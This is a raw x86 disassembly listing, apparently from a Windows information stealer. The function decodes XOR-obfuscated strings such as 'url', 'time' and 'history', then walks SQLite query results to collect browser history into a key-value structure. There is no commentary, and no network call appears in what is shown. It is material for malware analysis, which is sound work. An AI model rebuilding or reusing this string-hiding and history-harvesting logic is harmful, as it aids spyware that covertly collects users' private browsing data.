inc ecx
test al, al
jne 0x44e100
sub ecx, edx
lea eax, [ebp - 0x158]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402c40
or dword [ebp - 0x14], 0x40
mov ecx, dword [ebp - 0x60]
lea esi, [ebp - 0x90]
mov byte [ebp - 4], 0x1f
xorps xmm0, xmm0
cmp dword [ebp - 0x7c], 0x10
movups xmmword [ebp - 0x58], xmm0
cmovae esi, dword [ebp - 0x90]
lea edx, [ecx + 1]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e150
sub ecx, edx
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0x58]
call fcn.00402c40
mov byte [ebp - 4], 0x20
xor ecx, ecx
movaps xmm0, xmmword [0x550fd0]
movups xmmword [ebp - 0x210], xmm0
mov dword [ebp - 0x1f0], 0xbbb1f8ef
movaps xmm0, xmmword [0x550e40]
movups xmmword [ebp - 0x200], xmm0
mov dword [ebp - 0x1ec], 0xebf5b4b7
xorps xmm0, xmm0
mov byte [ebp - 0x1e8], 0xf7
movups xmmword [ebp - 0x1e7], xmm0
mov dword [ebp - 0x1d7], 0
mov word [ebp - 0x1d3], 0
mov byte [ebp - 0x1d1], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x210], al
inc ecx
cmp ecx, 0x29
jb 0x44e1d0
mov dword [0x5655c0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x210]
mov byte [ebp - 0x1e7], 0
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x174], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e214
sub ecx, edx
lea eax, [ebp - 0x210]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00402c40
or dword [ebp - 0x14], 0x10
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x174], 0x10
lea edx, [ebp - 0x188]
push eax
cmovae edx, dword [ebp - 0x188]
lea ecx, [ebp - 0x34]
call fcn.00490af0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x22
call fcn.0048c9d0
or dword [ebp - 0x14], 0x20
xorps xmm0, xmm0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x78], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x68], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x64], 0x10
lea edx, [ebp - 0x78]
mov ecx, dword [ebp - 0xc8]
cmovae edx, dword [ebp - 0x78]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.004ea640
add esp, 0x14
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x64]
test eax, eax
sete byte [ebp - 0x15]
cmp ecx, 0x10
jb 0x44e30c
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e302
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
cmp ecx, 0x10
jb 0x44e356
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e34c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x44e3a6
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e39c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44e3de
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e3d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x44e42b
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e421
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x15], 0
je 0x44e849
mov esi, dword [ebp - 0xcc]
mov ecx, esi
call fcn.004c6eb0
cmp eax, 0x64
jne 0x44e849
lea eax, [ebp - 0xc1]
mov dword [ebp - 0x170], eax
test esi, esi
je 0x44e4a6
cmp dword [esi + 0x2c], 0
je 0x44e481
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x44e481
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44e47c
push eax
call dword [0x562d18]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x44e4ab
mov eax, dword [esi]
test eax, eax
je 0x44e4a6
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44e498
push eax
call dword [0x562d18]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.004b5810
add esp, 0xc
mov ecx, 0x54a500
mov dl, 1
call fcn.004c3d20
mov dword [ebp - 0x60], eax
test esi, esi
je 0x44e50c
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x44e4ef
cmp byte [edi + 0x1e], 0
jne 0x44e4d2
mov eax, edi
cmp ecx, 0xc0a
jne 0x44e4ea
push 0
push 7
push edi
call fcn.004b5810
mov byte [edi + 0x1e], 0
add esp, 0xc
mov eax, dword [esi]
mov ecx, 7
mov edx, dword [edi + 0x18]
jmp 0x44e4f6
mov edx, 0xff
mov eax, edi
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x44e50c
push eax
call dword [0x562d20]
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x198]
push 0
mov byte [ebp - 0x1a0], 0
call fcn.0048e6c0
mov byte [ebp - 4], 0x25
xorps xmm0, xmm0
push 0x18
mov word [ebp - 0x35], 0xc2da
mov byte [ebp - 0x33], 0xdd
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
movq qword [ebp - 0xf0], xmm0
mov byte [ebp - 0xf8], 3
call fcn.00504cb0
mov edi, eax
add esp, 4
mov dword [ebp - 0x16c], edi
mov edx, dword [ebp - 0x60]
xorps xmm0, xmm0
mov ecx, edx
mov byte [ebp - 4], 0x26
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e590
sub ecx, esi
push ecx
push edx
mov ecx, edi
call fcn.00402c40
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0xf0], edi
mov byte [ebp - 4], 0x27
xor ecx, ecx
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 3
jb 0x44e5b8
mov dword [0x565590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x35]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e5f0
sub ecx, edx
lea eax, [ebp - 0x35]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402c40
or dword [ebp - 0x14], 4
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
lea ecx, [ebp - 0x1a0]
cmovae eax, dword [ebp - 0x90]
push eax
call fcn.00490ca0
mov esi, eax
mov cl, byte [esi]
mov eax, dword [ebp - 0xec]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0xf8], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0xf0], ecx
lea ecx, [ebp - 0xf8]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0xec], edx
call fcn.0048a7b0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x44e69f
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e695
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
push dword [ebp - 0x5c]
call fcn.00512854
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.0052a450
mov dword [ebp - 0x190], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x190]
mov dword [ebp - 0x18c], edx
push eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x36], 0xd7dcd9db
push eax
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0xa8], 0
movq qword [ebp - 0xa0], xmm0
call fcn.0049db20
mov byte [ebp - 4], 0x2a
xor eax, eax
nop dword [eax + eax]
lea ecx, [eax - 0x51]
xor byte [ebp + eax - 0x36], cl
inc eax
cmp eax, 4
jb 0x44e710
xorps xmm0, xmm0
mov dword [0x5655d8], eax
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e744
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402c40
or dword [ebp - 0x14], 2
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
lea ecx, [ebp - 0x1a0]
cmovae eax, dword [ebp - 0x90]
push eax
call fcn.00490ca0
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0xa8]
mov eax, dword [ebp - 0xa0]
mov byte [edi], cl
mov ecx, dword [ebp - 0x9c]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0xa8], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xa8]
mov dword [edi + 8], eax
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], esi
call fcn.0048a7b0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x44e7fe
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e7f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x168]
call fcn.0048a420
lea ecx, [ebp - 0x1a0]
push ecx
mov ecx, eax
call fcn.0048a140
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x1c
call fcn.0048a7b0
mov esi, dword [ebp - 0xcc]
mov ecx, esi
call fcn.004c6eb0
cmp eax, 0x64
je 0x44e457
mov edi, dword [ebp - 0xd0]
mov ecx, edi
call fcn.004c6eb0
cmp eax, 0x64
je 0x44df20
test edi, edi
je 0x44e8d5
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x5c], eax
test eax, eax
je 0x44e877
push eax
call dword [0x562d18]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x60], 0
cmp eax, 0xbdf20da3
je 0x44e88f
cmp eax, 0x519c2973
jne 0x44e899
mov ecx, edi
call fcn.004c5c80
mov dword [ebp - 0x60], eax
mov ecx, edi
call fcn.004c5e90
test esi, esi
je 0x44e8c4
cmp byte [esi + 0x1e], 0
jne 0x44e8b3
cmp dword [ebp - 0x60], 0xc0a
jne 0x44e8c4
push 0
push 7
push esi
call fcn.004b5810
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x5c]
test eax, eax
je 0x44e8d5
push eax
call dword [0x562d20]
add esp, 4
mov ecx, dword [ebp - 0xc8]
call fcn.0041b210
xorps xmm0, xmm0
mov dword [ebp - 0x39], 0xc6c2d9c7
mov word [ebp - 0x35], 0xc6dc
xor ecx, ecx
mov byte [ebp - 0x33], 0xcc
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0
mov word [ebp - 0x1e], 0
mov byte [ebp - 0x1c], 0
nop dword [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 7
jb 0x44e910
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x39]
mov byte [ebp - 0x32], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44e945
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402c40
mov edi, dword [ebp - 0x14]
or edi, 0x20000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
mov ecx, dword [ebp - 0xd4]
cmovae eax, dword [ebp - 0x90]
push eax
call fcn.00490ca0
lea ecx, [ebp - 0x168]
push ecx
mov ecx, eax
call fcn.0048a140
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x44e9d4
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44e9ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.0048a7b0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x44ea1d
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ea13
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
cmp ecx, 0x10
jb 0x44ea76
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ea6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b0]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp ecx, 0x10
jb 0x44eacf
mov edx, dword [ebp - 0x1c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44eac5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebc2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov esi, dword [ebp - 0x94]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc esi
add esi, eax
mov dword [ebp - 0x94], esi
cmp byte [esi], 0
jne 0x44d3a0
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x44eb28
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44eb1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebd1
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp ecx, 0x10
jb 0x44eb79
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44eb6f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebd1
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x44eba9
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44eb9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ebd1
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
call fcn.004024b0
call fcn.004024b0
call fcn.0050a1d0
int3